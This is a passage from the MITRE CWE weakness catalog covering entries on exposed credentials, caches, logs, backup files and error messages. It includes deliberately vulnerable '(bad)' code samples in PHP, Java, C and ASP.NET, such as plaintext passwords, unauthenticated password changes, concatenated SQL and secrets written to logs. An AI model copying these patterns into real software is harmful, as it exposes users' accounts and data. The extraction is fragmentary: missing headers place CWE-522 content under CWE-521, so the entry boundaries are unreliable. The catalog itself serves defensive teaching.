The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	Covert storage channels may provide attackers with important information about the system in question.	
Integrity Confidentiality	Read Application Data *If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.*	

Potential Mitigations

Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Demonstrative Examples

Example 1:

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID : 520 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks

within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-521: Weak Password Requirements

Weakness ID : 521 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could easily guess user passwords and gain access user accounts.*	

Potential Mitigations

Phase: Architecture and Design

A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: Enforcement of a minimum and maximum length Restrictions against password reuse Restrictions against using common passwords Restrictions against using contextual string in the password (e.g., user id, app name) Depending on the threat model, the password policy may include several additional attributes. Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case) Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down). Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols. Large Minimum Length (encouraging passphrases instead of passwords) Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords. Randomly Chosen Secrets Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used. A disadvantage of this approach is that the resulting

password or passpharse may be too difficult to memorize, encouraging them to be written down. Password Expiration Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations. Password expiration may be a good mitigating technique when long complex passwords are not desired. See NIST 800-63B https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf Sections: 5.1.1, 10.2.1, and Appendix A for further information on password requirements.

Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain access to user accounts and access sensitive data used by the user accounts.*	

Potential Mitigations

Phase: Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Phase: Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Phase: Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java *(bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: Java *(bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0944*
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408*

CWE-523: Unprotected Transport of Credentials

Weakness ID : 523 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1091
CanAlsoBe	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Operation

Phase: System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

CWE-524: Use of Cache Containing Sensitive Information

Weakness ID : 524 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.

Extended Description

Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305
ParentOf		525	Use of Web Browser Cache Containing Sensitive Information	1097

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CAPEC-ID	Attack Pattern Name
204	Lifting Sensitive Data Embedded in Cache

CWE-525: Use of Web Browser Cache Containing Sensitive Information

Weakness ID : 525 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	524	Use of Cache Containing Sensitive Information	1096

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.*	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Phase: Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

Weakness ID : 527 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Extended Description

Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID : 529 **Status:** Incomplete

Structure : Simple
Abstraction : Variant

Description

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID : 530 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A backup file is stored in a directory or archive that is made accessible to unauthorized actors.

Extended Description

Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.*	

Potential Mitigations

Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-531: Inclusion of Sensitive Information in Test Code

Weakness ID : 531 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1113

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Distribution

Phase: Installation

Remove test code before deploying the application into production.

Demonstrative Examples

Example 1:

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-532: Insertion of Sensitive Information into Log File

Weakness ID : 532 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

Different log files may be produced and stored for:

- Server log files (e.g. server.log). This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
- log files that are used for debugging
-

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012
MemberOf	C	199	Information Management Errors	1852

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Phase: Distribution

Remove debug log files before deploying the application into production.

Phase: Operation

Protect log files against unauthorized read/write.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Example Language: Java *(bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Example 2:

This code stores location information about the current user:

Example Language: Java *(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 3:

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

Example Language: Java *(bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
            + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose

the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Observed Examples

Reference	Description
CVE-2017-9615	verbose logging stores admin credentials in a world-readablelog file *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9615*

CWE-535: Exposure of Information Through Shell Error Message

Weakness ID : 535 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	498

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-536: Servlet Runtime Error Message Containing Sensitive Information

Weakness ID : 536 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	498

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.*	

Demonstrative Examples

Example 1:

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Example Language: Java *(bad)*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String username = request.getParameter("username");
    // May cause unchecked NullPointerException.
    if (username.length() < 10) {
        ...
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-537: Java Runtime Error Message Containing Sensitive Information

Weakness ID : 537 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	498

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Do not expose sensitive error information to the user.

Demonstrative Examples

Example 1:

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file

to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

Example Language: Java *(bad)*

```
public class InputFileRead {
    private File readFile = null;
    private FileReader reader = null;
    private String inputFilePath = null;
    private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
    public InputFileRead() {
        inputFilePath = DEFAULT_FILE_PATH;
    }
    public void setInputFile(String inputFile) {
        /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
    }
    public void readInputFile() {
        try {
            reader = new FileReader(readFile);
            ...
        } catch (RuntimeException rex) {
            System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
            System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
        } catch (FileNotFoundException ex) {...}
    }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2:

In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

Example Language: Java *(bad)*

```
public class BankManagerLoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        try {
            // Get username and password from login page request
            String username = request.getParameter("username");
            String password = request.getParameter("password");
            // Authenticate user
            BankManager bankMgr = new BankManager();
            boolean isAuthentic = bankMgr.authenticateUser(username, password);
            // If user is authenticated then go to successful login page
            if (isAuthentic) {
                request.setAttribute("login", new String("Login Successful."));
                getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);
            }
            else {
                // Otherwise, raise failed login exception and output unsuccessful login message to error page
                throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
            }
        } catch (FailedLoginException ex) {
            // output failed login message to error page
```

```
            request.setAttribute("error", new String("Login Error"));
            request.setAttribute("message", ex.getMessage());
            getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
        }
    }
```

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

Weakness ID : 538 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: System Configuration

Do not expose file and directory information to the user.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1898
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

CWE-539: Use of Persistent Cookies Containing Sensitive Information

Weakness ID : 539 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The web application uses persistent cookies, but the cookies contain sensitive information.

Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-540: Inclusion of Sensitive Information in Source Code

Weakness ID : 540 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.

Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-541: Inclusion of Sensitive Information in an Include File

Weakness ID : 541 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

